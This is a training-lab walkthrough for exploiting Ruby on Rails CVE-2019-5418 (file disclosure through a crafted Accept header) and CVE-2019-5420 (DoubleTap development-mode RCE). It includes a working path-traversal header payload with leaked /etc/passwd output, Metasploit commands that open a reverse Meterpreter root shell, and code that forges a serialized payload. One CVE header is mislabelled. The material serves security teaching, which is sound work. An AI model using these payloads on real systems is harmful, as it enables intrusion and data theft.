


[illegible]

Name	Rails DoubleTap RCE
URL	https://attackdefense.com/challengedetails?cid=1878
Type	Webapp Pentesting Basics

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

CVE-2019-5418



The screenshot shows the NVD entry for CVE-2019-5418. The page includes a header with navigation links (CVE List, CNAs, WGs, Board, About, News & Blog) and the NVD logo. Below the header is a search bar and a navigation menu with links like 'Search CVE List', 'Download CVE', 'Data Feeds', 'Request CVE IDs', and 'Update a CVE Entry'. The main content area displays the CVE-ID 'CVE-2019-5418' with a link to 'Learn more at National Vulnerability Database (NVD)'. It also shows the 'Description' of the vulnerability: 'There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system's filesystem to be exposed.' The 'References' section lists various links and documents related to the vulnerability, including CONFIRM links, EXPLOIT-DB, FEDORA, MISC, MLIST, and REDHAT advisories.

Mitre Link: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5418>

The Mitre Web pages contain references to other advisory pages.

The google groups discussion reveals the root cause of the vulnerability.

Link: <https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q>

Ruby on Rails: Security ›

[CVE-2019-5418] File Content Disclosure in Action View

1 post by 1 author



Aaron Patterson



Other recipients: secu...@suse.de, oss-se...@lists.openwall.com, ruby-sec...@googlegroups.com

There is a possible file content disclosure vulnerability in Action View. This vulnerability has been assigned the CVE identifier CVE-2019-5418.

Versions Affected: All.

Not affected: None.

Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1

Impact

There is a possible file content disclosure vulnerability in Action View. Specially crafted accept headers in combination with calls to `render file:` can cause arbitrary files on the target server to be rendered, disclosing the file contents.

The impact is limited to calls to `render` which render file contents without a specified accept format. Impacted code in a controller looks something like this:


```
...  
class UserController < ApplicationController  
  def index  
    render file: "#{Rails.root}/some/file"  
  end  
end  
...
```

According to the Google Group discussion, A specifically crafted header can result in arbitrary file read.

The blog explains in detail the function calls which results in exploitation of the vulnerability:

Blog Link:

<https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/>



Exploitation:

Step 1: Finding the IP address.

Command: ip addr


```

root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
23962: eth0@if23963: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:04 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.4/24 brd 10.1.1.255 scope global eth0
        valid_lft forever preferred_lft forever
23965: eth1@if23966: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:4a:56:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.74.86.2/24 brd 192.74.86.255 scope global eth1
        valid_lft forever preferred_lft forever
root@attackdefense:~#

```

Step 2: Run a nmap scan against the target IP.

Command: `nmap -sV 192.74.86.3`

```

root@attackdefense:~# nmap -sV 192.74.86.3
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-13 10:09 IST
Nmap scan report for target-1 (192.74.86.3)
Host is up (0.000015s latency).
Not shown: 999 closed ports
PORT      STATE SERVICE VERSION
3000/tcp  open  ppp?
1 service unrecognized despite returning data. If you know the service/version, please
i-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.70%I=7%D=5/13%Time=5EBB7A22%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1C,"HTTP/1.1\x20400\x20Bad\x20Request\r\n\r\n")%r(GetReques
SF:t,1E2C1,"HTTP/1.0\x20200\x20K\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-
SF:XSS-Protection:\x201;\x20mode=block\r\nX-Content-Type-Options:\x20nosni
SF:ff\r\nX-Download-Options:\x20noopen\r\nX-Permitted-Cross-Domain-Policie

```

Step 2: We have discovered one open port 3000. We will use curl to identify the running application name.


Command: `curl http://192.74.86.3:3000`

```


<p class="version">
  <strong>Rails version:</strong> 5.2.1<br />
  <strong>Ruby version:</strong> 2.5.1 (x86_64-linux-gnu)
</p>
</section>
</div>
</body>
</html>
root@attackdefense:~#

```


Step 3: Select the Burp Suite proxy from the FoxyProxy plugin.




Step 4: Reload the webpage and intercept the request with burp suite.



Step 5: Send the request to Repeater.



Step 6: Repeater Tab



Step 7: Injecting Payload in the Accept Header.

Accept: ../../../../../../etc/passwd{{

Request Tab:

SendCancel<>

Request

RawHeadersHex

1 GET /test HTTP/1.1
2 Host: 192.74.86.3:3000
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: ../../../../../../../../etc/passwd{
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9 If-None-Match: W/"773513ef8f558ecf6679e9e35d612acb"
10
11

Response Tab:

Response

RawHeadersHexRender

1 HTTP/1.1 200 OK
2 X-Frame-Options: SAMEORIGIN
3 X-XSS-Protection: 1; mode=block
4 X-Content-Type-Options: nosniff
5 X-Download-Options: noopen
6 X-Permitted-Cross-Domain-Policies: none
7 Referrer-Policy: strict-origin-when-cross-origin
8 Content-Type: text/html; charset=utf-8
9 ETag: W/"5baf19ce6561538119dfe32d561d6ab8"
10 Cache-Control: max-age=0, private, must-revalidate
11 X-Request-Id: da8987d4-b34e-4ad2-bcab-af76995e0c9f
12 X-Runtime: 0.127473
13 Connection: close
14 Content-Length: 926
15
16 root:x:0:0:root:/root:/bin/bash
17 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
18 bin:x:2:2:bin:/bin:/usr/sbin/nologin
19 sys:x:3:3:sys:/dev:/usr/sbin/nologin
20 sync:x:4:65534:sync:/bin:/bin/sync
21 games:x:5:60:games:/usr/games:/usr/sbin/nologin
22 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
23 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
24 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
25 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

Explanation:

The value ".././.././.././etc/passwd{" in Accept Header results in the query "/etc/passwd{},{+},{},{raw,erb,html,builder,ruby,coffee,jbuilder},{}"

The query get processed by the the find_template_paths method.

```
245
246     def find_template_paths(query)
... 247     Dir[query].uniq.reject do |filename|
248         File.directory?(filename) ||
249         # deals with case-insensitive file systems.
250         !File.fnmatch(query, filename, File::FNM_EXTGLOB)
251     end
252 end
253
```

Dir[query].uniq processes the query and outputs /etc/passwd.

```
irb(main):002:0>
irb(main):003:0> query="/etc/passwd{},{+},{},{raw,erb,html,builder,ruby,coffee,jbuilder},{}"
=> "/etc/passwd{},{+},{},{raw,erb,html,builder,ruby,coffee,jbuilder},{}"
irb(main):004:0>
irb(main):005:0>
irb(main):006:0> Dir[query].uniq
=> ["/etc/passwd"]
irb(main):007:0>
irb(main):008:0>
```

On line 250, the File.fnmatch will match the filename with the query resulting in true return value.

```
irb(main):011:0>
irb(main):012:0> File.fnmatch(query, "/etc/passwd", File::FNM_EXTGLOB)
=> true
irb(main):013:0>
irb(main):014:0>
```

CVE-2019-2020

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Description

A remote code execution vulnerability in development mode Rails <5.2.2.1, <6.0.0.beta3 can allow an attacker to guess the automatically generated development mode secret token. This secret token can be used in combination with other Rails internals to escalate to a remote code execution exploit.

References

Note: [References](#) are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

- [CONFIRM:https://groups.google.com/forum/#!topic/rubyonrails-security/IsQKvDqZdKw](https://groups.google.com/forum/#!topic/rubyonrails-security/IsQKvDqZdKw)
- [CONFIRM:https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/](https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/)
- [EXPLOIT-DB:46785](#)
- [URL:https://www.exploit-db.com/exploits/46785/](https://www.exploit-db.com/exploits/46785/)
- [FEDORA:FEDORA-2019-1cfe24db5c](#)
- [URL:https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y43636TH4D6T46IC6N2RQVJTRFJAAYGA/](https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y43636TH4D6T46IC6N2RQVJTRFJAAYGA/)
- [MISC:http://packetstormsecurity.com/files/152704/Ruby-On-Rails-DoubleTap-Development-Mode-secret_key_base-Remote-Code-Execution.html](http://packetstormsecurity.com/files/152704/Ruby-On-Rails-DoubleTap-Development-Mode-secret_key_base-Remote-Code-Execution.html)

Google Group Discussion:

There is a possible a possible remote code executing exploit in Rails when in development mode. This vulnerability has been assigned the CVE identifier CVE-2019-5420.

Versions Affected: 6.0.0.X, 5.2.X.

Not affected: None.

Fixed Versions: 6.0.0.beta3, 5.2.2.1

Impact

With some knowledge of a target application it is possible for an attacker to guess the automatically generated development mode secret token. This secret token can be used in combination with other Rails internals to escalate to a remote code execution exploit.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The 6.0.0.beta3 and 5.2.2.1 releases are available at the normal locations.

Workarounds

This issue can be mitigated by specifying a secret key in development mode. In "config/environments/development.rb" add this:

```
config.secret_key_base = SecureRandom.hex(64)
```

Google Group Discussion Link:

Vulnerability: The Key used to encrypt the session can be bruteforced as it is dependent on the name of the application.

Using the secret key, a serialized payload can be generated. Upon passing a rails payload containing the serialized payload to the endpoint:

```
/rails/active_storage/disk/:encoded_key/*filename(.:format)
```

The payload upon deserialization results in RCE. Both ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor use Marshal for serialization and therefore deserialization of malicious payload results in RCE.

The payload upon decryption and deserialization results in RCE.

Available Exploits:

1. https://www.rapid7.com/db/modules/exploit/multi/http/rails_double_tap
2. <https://github.com/mpgn/Rails-doubletap-RCE>

In order to identify the Secret Key, it can be done in two ways.

Method 1:

- A. Using CVE-2019-5418 to retrieve credentials.yml.enc and master.key
- B. Decrypting credentials.ymc.enc to retrieve the secret key value

Method 2:

- A. Identifying the name of the application
- B. Generating the MD5 hash from the application name.

Step 8: Using the metasploit module to exploit the vulnerability.

Commands:

```
use exploit/multi/http/rails_double_tap
set RHOSTS 192.74.86.3
exploit
```

```

msf5 > use exploit/multi/http/rails_double_tap
msf5 exploit(multi/http/rails_double_tap) >
msf5 exploit(multi/http/rails_double_tap) > set RHOSTS 192.74.86.3
RHOSTS => 192.74.86.3
msf5 exploit(multi/http/rails_double_tap) >
msf5 exploit(multi/http/rails_double_tap) > exploit

[*] Started reverse TCP handler on 192.74.86.2:4444
[*] Attempting to retrieve the application name...
[*] The application name is: App
[*] Stager ready: 433 bytes
[*] Sending serialized payload to target (1250 bytes)
[*] Sending stage (985320 bytes) to 192.74.86.3
[*] Meterpreter session 1 opened (192.74.86.2:4444 -> 192.74.86.3:44916) at 2020-05-13 17:14:16 +0530
[+] Deleted /tmp/RHkand.bin
[+] Deleted /tmp/thGNj.bin

meterpreter >
meterpreter > shell
Process 30 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)

```

Metasploit Module Brief Review:

Metasploit Module Source:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_double_tap.rb

```

159     # Returns the application name based on Rails.root. It seems in development mode, the
160     # application name is used as a secret_key_base to encrypt/decrypt data.
161     def get_application_name
162         root_info = get_rails_root_info
163         root_info.split('/').last.capitalize
164     end

```

The above function retrieves the name of the application


```

180 # Returns the serialized payload that is embedded with our malicious payload.
181 def generate_rails_payload(app_name, ruby_payload)
182   secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
183   keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
184   secret = keygen.generate_key('ActiveStorage')
185   verifier = MessageVerifier.new(secret)
186   erb = ERB.allocate
187   erb.instance_variable_set :@src, ruby_payload
188   erb.instance_variable_set :@filename, "1"
189   erb.instance_variable_set :@lineno, 1
190   dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
191   verifier.generate(dump_target, purpose: :blob_key)
192 end

```

The def generate_rails_payload function, uses the app_name to generate the secret_key_base. A key is generated for active storage. The MessageVerifier is then used to sign the the Malicious payload with the secret.

```

194 # Sending the serialized payload
195 # If the payload fails, the server should return 404. If successful, then 200.
196 def send_serialized_payload(rails_payload)
197   res = send_request_cgi({
198     'method' => 'GET',
199     'uri'     => "/rails/active_storage/disk/#{rails_payload}/test",
200   })
201
202   if res && res.code != 200
203     print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
204     print_error('The expected response should be HTTP 200.')
205
206     # This indicates the server did not accept the payload
207     return false
208   end
209
210   # This is used to indicate the server accepted the payload
211   true
212 end
---
```

The serialized payload is sent to the active_storage endpoint. Upon deserialization a session is obtained.

References

1. Ruby On Rails: (<https://rubyonrails.org/>)
2. Analysis for CVE-2019-5418 File Content Disclosure on Rails
(<https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/>)
3. Metasploit Module:
(https://www.rapid7.com/db/modules/exploit/multi/http/rails_double_tap)
4. RCE on Rails 5.2.2 using a path traversal
(<https://github.com/mpgn/Rails-doubletap-RCE>)
5. Hackerone Post (<https://hackerone.com/reports/473888>)